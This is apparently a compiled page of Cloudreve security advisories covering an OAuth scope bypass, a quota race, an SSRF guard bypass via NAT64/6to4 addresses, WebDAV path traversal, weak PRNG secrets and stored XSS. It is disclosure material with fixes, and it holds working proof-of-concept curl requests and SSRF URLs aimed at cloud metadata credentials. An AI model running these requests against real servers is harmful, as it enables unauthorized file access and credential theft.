See how cloudreve compares to other vendors in security performance
Summary There is a privilege scope bypass in Cloudreve's admin API where two endpoints that mutate server state are missing the write-scope enforcement that their neighboring endpoints correctly apply. Specifically, the WOPI configuration fetch endpoint and the SMTP test/mail endpoint can both be triggered by an OAuth token that only has Admin.Read authorization — no Admin.Write needed. This breaks the intended OAuth scope boundary in a way that's subtle enough to have slipped through but meaningful enough to matter in a real deployment.
Details The root cause is an inconsistency in how the admin tool routes are wired up in routers/router.go. The admin route group sets a baseline of ScopeAdminRead for everything underneath it (around line 868), and most write-capable endpoints inside the tool sub-group correctly layer on an additional RequiredScopes(types.ScopeAdminWrite) check on top of that. For example, the thumbnail executable setter (line 929) and the entity URL cache deletion (line 937) both do this properly.
The two endpoints that don't follow this pattern are tool.GET('wopi') (line 925) and tool.POST('mail') (line 933). Despite POST /mail clearly triggering an outbound email and GET /wopi fetching or probing WOPI service connectivity, neither has the ScopeAdminWrite guard. What that means in practice is that any OAuth application granted only Admin.Read — a scope that should be limited to inspecting configuration, not changing anything — can silently invoke both of these operations. The developer looking at the route definitions would reasonably assume all the write-adjacent tool endpoints were protected, because the ones right above and below them are. It's the kind of gap that's easy to miss in a code review.
PoC bash OAuth app with ONLY Admin.Read scope can send emails: curl -s -X POST -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <ADMINREADONLYTOKEN>' \ 'https://cloudreve.example.com/api/v4/admin/tool/mail' \ -d '{"settings":{"smtpHost":"smtp.gmail.com","smtpPort":"587",...},"to":"victim@example.com"}' Expected: 403 Forbidden (if Admin.Write was required) Actual: 200 OK, email is sent
Impact An OAuth application or API key scoped to Admin.Read can send arbitrary emails through the server's configured SMTP account and probe internal WOPI service endpoints — both actions that should require elevated write authorization. In multi-party deployments where Admin.Read tokens are issued more liberally (e.g., to monitoring integrations or third-party plugins), a compromised or malicious token holder gains capabilities well beyond what the scope contract implies. Scope separation in OAuth 2.0 is a security boundary, not just a convention, and its violation here could factor into broader attack chains.
Fix Add middleware.RequiredScopes(types.ScopeAdminWrite) as the first handler argument to both the tool.GET('wopi') and tool.POST('mail') route definitions in routers/router.go. This brings them in line with tool.POST('thumbExecutable') at line 929 and tool.DELETE('entityUrlCache') at line 937, which already follow the correct pattern. No logic changes are needed — it's purely an additive middleware insertion.
If possible, please apply for a CVE number when publishing. I would greatly appreciate it.
Summary
Cloudreve v4 splits the storage-quota check (reading the user's used bytes and comparing them to MaxStorage) and the charge (incrementing users.storage) into two non-atomic steps in the PrepareUpload code path. This creates a Time-of-Check to Time-of-Use (TOCTOU) race condition. Any authenticated user — including an unprivileged account in the default User group — can concurrently issue several upload-session requests that all read the same stale used snapshot, each pass the check, and then each contribute their declared size to users.storage. The end result is that the total approved capacity exceeds the group's MaxStorage many times over.
The same primitive is trivially amplifiable into a storage-based denial of service. During PrepareUpload, Cloudreve reserves the declared size against users.storage before any bytes are written, so an attacker can push the reserved amount far beyond the host's physical disk (tested: a 1 GiB-quota account reserved 17 GiB in a single 20-way burst), and can then materialise the reservation by completing chunked uploads to actually write the excess bytes to disk. Amplification to the host's free space fills the disk and denies uploads for every user of the instance.
Exploitation requires only a valid session with Files.Write permission. No administrator configuration, no non-default storage policy, and no elevated privileges are needed. The default deployment (local storage policy, default User group) is affected.
Technical details
PrepareUpload in pkg/filemanager/fs/dbfs/upload.go splits quota enforcement across two stages:
Stage A — the check (snapshot compare, no lock) — pkg/filemanager/fs/dbfs/validator.go:
go func (f DBFS) validateUserCapacity(ctx context.Context, size int64, u ent.User) error { capacity, err := f.Capacity(ctx, u) // reads "used" if err != nil { return ... } return f.validateUserCapacityRaw(ctx, size, capacity) }
func (f DBFS) validateUserCapacityRaw(ctx context.Context, size int64, capacity fs.Capacity) error { if capacity.Used + size > capacity.Total { // snapshot compare only; no lock, no reservation return fs.ErrInsufficientCapacity } return nil }
capacity.Used comes from the in-memory ent.User that was hydrated once at the beginning of the request — pkg/filemanager/fs/dbfs/dbfs.go:
go func (f DBFS) Capacity(ctx context.Context, u ent.User) (fs.Capacity, error) { ... res.Used = f.user.Storage // captured at request start res.Total = requesterGroup.MaxStorage return res, nil }
No SELECT is issued at check time, no row lock is taken on the user row, and pending upload sessions are not counted.
Stage B — the charge (single unconditional UPDATE, outside the tx) — pkg/filemanager/fs/dbfs/upload.go → inventory/tx.go → inventory/user.go:
go // PrepareUpload: check (A) ... then, many statements later ... if err := f.validateUserCapacity(ctx, req.Props.Size, ancestor.Owner()); err != nil { return nil, err } ... if err := inventory.CommitWithStorageDiff(ctx, dbTx, f.l, f.userClient); err != nil { ... } // charge (B)
// inventory/user.go c.client.User.Update().Where(user.ID(uid)).AddStorage(diff).Exec(ctx) // SQL: storage = storage + diff
Between A and B the code performs storage-policy load-balancing, save-path generation, encryption-metadata generation, transaction start, placeholder-file/entity creation, and metadata upsert. This leaves a wide race window. N concurrent PrepareUpload requests each read the same stale Used snapshot at A, each pass their independent quota check, and then each add their own size to users.storage at B. The committed total is up to N × size above MaxStorage.
Three defensive controls that would each independently close the race are missing:
1. The check and the charge are not enclosed in the same transaction with a SELECT ... FOR UPDATE on the user row. 2. The charge is a plain storage = storage + :size UPDATE, not an atomic conditional update of the form UPDATE users SET storage = storage + :size WHERE id = :uid AND storage + :size <= :maxstorage. 3. Used is computed only from committed entities. Concurrent pending upload sessions (which have already been reserved by the accounting model) are not counted, so races among sessions that haven't yet completed are invisible to each other.
Summary
Cloudreve's server-side request forgery guard ValidateExternalURL (pkg/request/ssrf.go) resolves a user-supplied URL host and rejects it when any resolved IP is a loopback, private, link-local, multicast, unspecified, CGNAT, or the cloud-metadata address. The classification is performed by checkIP, which uses Go's net.IP builtins (IsLoopback, IsPrivate, IsLinkLocalUnicast, ...) directly on the resolved address. These builtins inspect only the outer IPv6 address and do not decode IPv4-in-IPv6 transition wrappers. An attacker who controls a hostname's AAAA record (or, on a DNS64/NAT64 network, any hostname) can point the remote-download URL at a NAT64 well-known-prefix address (64:ff9b::a.b.c.d, RFC 6052), an IPv4-compatible address (::a.b.c.d, RFC 4291), or a 6to4 address (2002:AABB:CCDD::, RFC 3056) that wraps an internal IPv4. Go classifies these wrappers as ordinary global IPv6 addresses, so checkIP accepts them; the network then delivers the request to the embedded internal IPv4 (loopback, RFC 1918, or the cloud instance metadata service 169.254.169.254). This bypasses the SSRF guard that was added to block direct access to internal services.
Affected component and versions
- Component: pkg/request/ssrf.go (ValidateExternalURL / checkIP), reached from the remote-download workflow pkg/filemanager/workflows/remotedownload.go (RemoteDownloadTask.createDownloadTask, which passes the user-supplied SrcUri to ValidateExternalURL). - Affected: Cloudreve <= 4.17.0 (latest release at time of report) and current main. - Reachable by an authenticated remote-download user; administrative privileges are not required.
Vulnerable form vs correctly-guarded sibling
checkIP DOES block IPv4-mapped IPv6 (::ffff:a.b.c.d), because Go's net.IP.To4() returns the embedded IPv4 for that form and the standard checks then fire. It does NOT block the other IPv4-in-IPv6 transition forms, because for those To4() returns nil and every net.IP classifier reports the wrapper as a normal global IPv6 address:
- NAT64 well-known prefix 64:ff9b::/96 (RFC 6052): 64:ff9b::a9fe:a9fe embeds 169.254.169.254. - IPv4-compatible ::a.b.c.d (RFC 4291): ::a9fe:a9fe embeds 169.254.169.254. - 6to4 2002::/16 (RFC 3056): 2002:a9fe:a9fe:: embeds 169.254.169.254.
The fix is to canonicalize the resolved address to its embedded IPv4 before classification, symmetric to how IPv4-mapped addresses are already handled by To4(). The same gap was fixed correctly in a sibling project: makeplane/plane apps/api/plane/utils/ipaddress.py embeddedipv4() decodes IPv4-mapped, 6to4, Teredo and NAT64 before classifying; Cloudreve's guard is the unpatched twin of that pattern.
Severity
An authenticated low-privilege user can force the server to fetch attacker-chosen internal URLs and read the responses, including cloud instance-metadata credentials, producing a scope change from the download subsystem to the internal network and the host's cloud identity.
Proof of concept
The guard file pkg/request/ssrf.go imports only the Go standard library, so ValidateExternalURL was compiled and called verbatim from tag 4.17.0. The remote-download workflow calls it as ValidateExternalURL(ctx, SrcUri, opt) with default options.
Direction 1 (shipped guard accepts the internal-embedding wrappers):
=== Cloudreve v4.17.0 ValidateExternalURL (shipped, unmodified) === [ACCEPTED] NAT64 -> 169.254.169.254 (cloud metadata) http://[64:ff9b::a9fe:a9fe]/latest/meta-data/ [ACCEPTED] NAT64 -> 127.0.0.1 (loopback) http://[64:ff9b::7f00:1]/ [ACCEPTED] NAT64 -> 10.0.0.1 (RFC1918) http://[64:ff9b::a00:1]/ [ACCEPTED] IPv4-compatible -> 169.254.169.254 http://[::a9fe:a9fe]/latest/meta-data/ [ACCEPTED] IPv4-compatible -> 127.0.0.1 http://[::7f00:1]/ [ACCEPTED] 6to4 -> encodes 169.254.169.254 http://[2002:a9fe:a9fe::]/ [BLOCKED ] IPv4-mapped -> 127.0.0.1 (CONTROL, should block) http://[::ffff:127.0.0.1]/ -> loopback address 127.0.0.1: URL is not allowed [BLOCKED ] IPv4-mapped -> 169.254.169.254 (CONTROL, should block) http://[::ffff:169.254.169.254]/ -> link-local address 169.254.169.254: URL is not allowed [ACCEPTED] public 1.1.1.1 (CONTROL, should pass) http://1.1.1.1/ SSRF BYPASS COUNT (guard accepted an internal-embedding wrapper): 6
Full reach-and-return (guard accepts, and the fetch returns the internal secret with HTTP 200). A loopback HTTP server serves a unique token standing in for the cloud metadata service; on a DNS64/NAT64 host the kernel routes 64:ff9b::a9fe:a9fe to 169.254.169.254, and because no NAT64 gateway exists in the test host the final hop is emulated by dialing the loopback server. The guard acceptance above is real and unmodified.
[] Fake internal metadata server (stands in for 169.254.169.254) at http://127.0.0.1:63569 [] Unique secret it serves: IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9 [] Attacker remote-download SrcUri: http://[64:ff9b::a9fe:a9fe]:63569/latest/meta-data/iam/security-credentials/ [] 64:ff9b::a9fe:a9fe = NAT64(169.254.169.254)
[+] SHIPPED GUARD ValidateExternalURL ACCEPTED the URL. checkIP classified 64:ff9b::a9fe:a9fe as a safe public address (the bug)
[+] FETCH REACHED THE INTERNAL SERVER. HTTP 200 [+] Response body (exfiltrated internal secret): iam-role-credentials AccessKeyId=ASIA... SecretToken=IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9
[RESULT] SSRF CONFIRMED: shipped guard PASSED a NAT64-wrapped internal IP, fetch returned internal secret "IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9" with HTTP 200.
Direction 2 (after applying the fix below, the same inputs are blocked and public destinations still pass):
=== Cloudreve guard WITH FIX applied === [BLOCKED ] NAT64 -> 169.254.169.254 -> link-local address 169.254.169.254: URL is not allowed [BLOCKED ] NAT64 -> 127.0.0.1 -> loopback address 127.0.0.1: URL is not allowed [BLOCKED ] NAT64 -> 10.0.0.1 -> private address 10.0.0.1: URL is not allowed [BLOCKED ] IPv4-compatible -> 169.254.169.254 -> link-local address 169.254.169.254: URL is not allowed [BLOCKED ] IPv4-compatible -> 127.0.0.1 -> loopback address 127.0.0.1: URL is not allowed [BLOCKED ] 6to4 -> 169.254.169.254 -> link-local address 169.254.169.254: URL is not allowed [BLOCKED ] IPv4-mapped -> 127.0.0.1 (control) -> loopback address 127.0.0.1: URL is not allowed [ACCEPTED] public 1.1.1.1 (control, should PASS) [ACCEPTED] public 8.8.8.8 (control, should PASS) Remaining bypasses after fix: 0 (expect 0)
Impact
An authenticated remote-download user can make the server issue HTTP(S) requests to arbitrary internal addresses and read the responses. On cloud deployments this includes the instance metadata service 169.254.169.254, from which the attacker can retrieve IAM role credentials, leading to escalation into the cloud account. It also exposes internal-only services (databases, admin panels, other microservices) that rely on network position for their security, and enables internal network reconnaissance. This is a scope change from the download subsystem to the internal network and the host's cloud identity.
Suggested fix
Canonicalize the resolved address to its embedded IPv4 before the range checks, so checkIP classifies the address the request will actually reach rather than the routable IPv6 wrapper. Minimal patch:
diff --- a/pkg/request/ssrf.go +++ b/pkg/request/ssrf.go @@ func checkIPWithAllowlist ... return checkIP(ip) } + +// effectiveIP unwraps IPv4-in-IPv6 transition forms to the IPv4 address the +// packet ultimately reaches, so checkIP classifies the real target rather than +// the (often globally-routable) IPv6 wrapper. Covers IPv4-mapped +// (::ffff:a.b.c.d), NAT64 well-known prefix (64:ff9b::/96, RFC 6052), +// 6to4 (2002::/16, RFC 3056) and IPv4-compatible (::a.b.c.d). +func effectiveIP(ip net.IP) net.IP { + if v4 := ip.To4(); v4 != nil { + return v4 + } + v6 := ip.To16() + if v6 == nil { + return ip + } + if v6[0] == 0x00 && v6[1] == 0x64 && v6[2] == 0xff && v6[3] == 0x9b && + v6[4] == 0 && v6[5] == 0 && v6[6] == 0 && v6[7] == 0 && + v6[8] == 0 && v6[9] == 0 && v6[10] == 0 && v6[11] == 0 { + return net.IPv4(v6[12], v6[13], v6[14], v6[15]).To4() + } + if v6[0] == 0x20 && v6[1] == 0x02 { + return net.IPv4(v6[2], v6[3], v6[4], v6[5]).To4() + } + allZeroTop := true + for i := 0; i < 12; i++ { + if v6[i] != 0 { + allZeroTop = false + break + } + } + if allZeroTop { + last := uint32(v6[12])<<24 | uint32(v6[13])<<16 | uint32(v6[14])<<8 | uint32(v6[15]) + if last > 1 { + return net.IPv4(v6[12], v6[13], v6[14], v6[15]).To4() + } + } + return ip +} + func checkIP(ip net.IP) error { + ip = effectiveIP(ip) if ip == nil { return fmt.Errorf("invalid IP: %w", ErrUnsafeURL) }
As defense in depth, consider rejecting all non-IPv4-mapped IPv4-embedding IPv6 forms outright unless the deployment intentionally uses NAT64.
Credit
tonghuaroot (tonghuaroot@gmail.com).
Summary
A Cloudreve WebDAV account stores a uri that defines the account's root folder. The WebDAV request handler (stripPrefix in pkg/webdav/webdav.go) trims the /dav prefix from the request path and joins the remainder to that root with fs.URI.JoinRaw, but never checks that the joined URI stays inside the root.
Go's net/http decodes %2e%2e to .. and %2f to / in r.URL.Path before the handler sees it, and JoinRaw resolves .. segments through the standard library's url.URL.JoinPath. A request such as GET /dav/%2e%2e/outside.txt against a credential rooted at cloudreve://my/restricted therefore resolves to cloudreve://my/outside.txt. A scoped DAV credential can read and list files outside its configured folder; a writable scoped credential can also create, overwrite, move, and delete them.
The escape stays inside the same Cloudreve user's namespace because downstream DBFS owner checks still apply. It does not cross into another user's files or onto the OS filesystem. What it breaks is the per-folder WebDAV-account boundary — the entire reason scoped DAV accounts exist (delegating limited access to a sync client or a third party).
Technical Detail
Root cause
stripPrefix joins the request suffix onto the account base with no containment check:
go // pkg/webdav/webdav.go @ 54dc81d func stripPrefix(p string, u ent.User) (string, fs.URI, int, error) { base, err := fs.NewUriFromString(u.Edges.DavAccounts[0].URI) if err != nil { return "", nil, http.StatusInternalServerError, err }
prefix := davPrefix // "/dav" if r := strings.TrimPrefix(p, prefix); len(r) < len(p) { r = strings.TrimPrefix(r, fs.Separator) return r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil // <-- join, no boundary check } return "", nil, http.StatusNotFound, errPrefixMismatch }
JoinRaw splits on / and delegates to the standard library:
go // pkg/filemanager/fs/uri.go @ 54dc81d func (u URI) JoinRaw(elem string) URI { return u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...) }
func (u URI) Join(elem ...string) URI { newUrl, := url.Parse(u.U.String()) return &URI{U: newUrl.JoinPath(lo.Map(elem, func(s string, i int) string { return PathEscape(s) })...)} }
PathEscape leaves a . untouched (shouldEscape returns false for .), so the literal segment .. survives into url.URL.JoinPath, which cleans the path and resolves the parent reference.
Proof of Concept
The full server was not run from the checkout (the embedded frontend asset assets.zip is absent from source), so the chain was proven by exercising the two decisive layers with real code rather than a screenshot of a live instance.
Layer 1 — net/http hands the handler a decoded, uncleaned path
A standard-library HTTP server, hit over a real socket with raw request targets (equivalent to curl --path-as-is), shows what c.Request.URL.Path holds inside the handler:
REQUEST: GET /dav/%2e%2e/outside.txt handler observed: URL.Path="/dav/../outside.txt" RawPath="/dav/%2e%2e/outside.txt" -> 200 REQUEST: PROPFIND /dav/%2e%2e/ handler observed: URL.Path="/dav/../" RawPath="/dav/%2e%2e/" -> 200 REQUEST: PUT /dav/%2e%2e/created-outside.txt handler observed: URL.Path="/dav/../created-outside.txt" -> 200 REQUEST: GET /dav/%2F..%2Foutside.txt handler observed: URL.Path="/dav//../outside.txt" RawPath="/dav/%2F..%2Foutside.txt" -> 200
The path is decoded but never cleaned. Gin does not rewrite Request.URL.Path, so the Cloudreve handler observes the same value.
Layer 2 — Cloudreve's URI resolution escapes the root
Re-running Cloudreve's exact PathEscape / shouldEscape / Join / JoinRaw / NewUriFromString code (copied verbatim from uri.go @ 54dc81d) against the real net/url library, with base cloudreve://my/restricted:
traversal %2e%2e URL.Path=/dav/../outside.txt suffix="../outside.txt" => cloudreve://my/outside.txt traversal %2F..%2F URL.Path=/dav//../outside.txt suffix="/../outside.txt" => cloudreve://my/outside.txt benign nested URL.Path=/dav/sub/normal.txt suffix="sub/normal.txt" => cloudreve://my/restricted/sub/normal.txt double-encoded (ctrl) URL.Path=/dav/%2e%2e/outside.txt suffix="%2e%2e/outside.txt" => cloudreve://my/restricted/%252e%252e/outside.txt deep traversal URL.Path=/dav/../../etc.txt suffix="../../etc.txt" => cloudreve://my/etc.txt
The traversal variants land outside restricted; the benign path stays inside; the double-encoded negative control stays literal under the root; and deep traversal clamps at the my root (host stays my, confirming the same-owner ceiling).
Live request shapes (against a deployed instance)
bash Read outside the DAV root (works for read-only credentials too) curl --path-as-is -i -u 'victim@example.com:DAVPASSWORD' \ 'https://cloudreve.example/dav/%2e%2e/outside.txt'
List outside the DAV root curl --path-as-is -i -X PROPFIND -H 'Depth: 1' \ -u 'victim@example.com:DAVPASSWORD' \ 'https://cloudreve.example/dav/%2e%2e/'
Write outside the DAV root (writable credentials) printf 'created outside DAV root\n' | curl --path-as-is -i -X PUT \ -u 'victim@example.com:DAVPASSWORD' --data-binary @- \ 'https://cloudreve.example/dav/%2e%2e/created-outside.txt'
Impact
- Read-only scoped credential: read and list any file in the owner's namespace, outside the folder the credential was scoped to. - Writable scoped credential: additionally create, overwrite, move, and delete those files.
In normal use a scoped DAV account is the mechanism for handing limited access to a sync client or an outside party. This bug means that limit is not enforced: the credential reaches the owner's whole my filesystem.
Suggested Fix
fs.URI already ships the predicate needed (EqualOrIsDescendantOf), so the fix is small:
diff prefix := davPrefix if r := strings.TrimPrefix(p, prefix); len(r) < len(p) { r = strings.TrimPrefix(r, fs.Separator) - return r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil + candidate := base.JoinRaw(util.RemoveSlash(r)) + if !candidate.EqualOrIsDescendantOf(base, "") { + return "", nil, http.StatusForbidden, errPrefixMismatch + } + return r, candidate, http.StatusOK, nil } return "", nil, http.StatusNotFound, errPrefixMismatch
Regression tests worth adding:
- /dav/%2e%2e/outside.txt from base cloudreve://my/restricted → rejected - /dav/%2F..%2Foutside.txt from base cloudreve://my/restricted → rejected - COPY/MOVE with Destination: https://host/dav/%2e%2e/outside.txt → rejected - /dav/sub/normal.txt → still resolves under the account root
Impact This vulnerability affects Cloudreve instances that were first deployed/initialized with versions prior to V4.10.0.
The application uses the weak pseudo-random number generator math/rand seeded with time.Now().UnixNano() to generate critical security secrets, including the secretkey, and hashidsalt. These secrets are generated upon first startup and persisted in the database.
An attacker can exploit this by obtaining the administrator's account creation time (via public API endpoints) to narrow the search window for the PRNG seed, and use known hashid to validate the seed. By brute-forcing the seed (demonstrated to take <3 hours on general consumer PC), an attacker can predict the secretkey. This allows them to forge valid JSON Web Tokens (JWTs) for any user, including administrators, leading to full account takeover and privilege escalation.
Note: Servers running V4.10.0+ are still vulnerable if they were originally installed using an older version, as the weak secrets persist in the configuration.
Patches The issue has been addressed in version 4.13.0. This patch introduces a migration mechanism that automatically:
1. Invalidate the existing secretkey. 2. Regenerate a new, cryptographically secure secretkey using crypto/rand.
Users should upgrade to 4.13.0 immediately.
Workarounds If an immediate upgrade is not possible, administrators must manually rotate the critical secrets in the configuration file to invalidate potential exploits:
1. Stop the Cloudreve service. 2. In Cloudreve database, locate secretkey setting. 3. Replace the value with a long, random string (e.g., generated via openssl rand -base64 64). 4. Restart the Cloudreve service.
Note: This will log out all currently active users.
Resources Vulnerable Code (Seeding): https://github.com/cloudreve/cloudreve/blob/87d48ac4a7acbc68064c2b9cb23793ac97f4392d/pkg/util/common.go#L21C1-L23C2 Vulnerable Code (Usage): https://github.com/cloudreve/cloudreve/blob/87d48ac4a7acbc68064c2b9cb23793ac97f4392d/inventory/setting.go#L591 Go Documentation (math/rand)
Cloudreve versions v1.0.0 through v3.5.3 are vulnerable to Stored Cross-Site Scripting (XSS), via the file upload functionality. A low privileged user will be able to share a file with an admin user, which could lead to privilege escalation.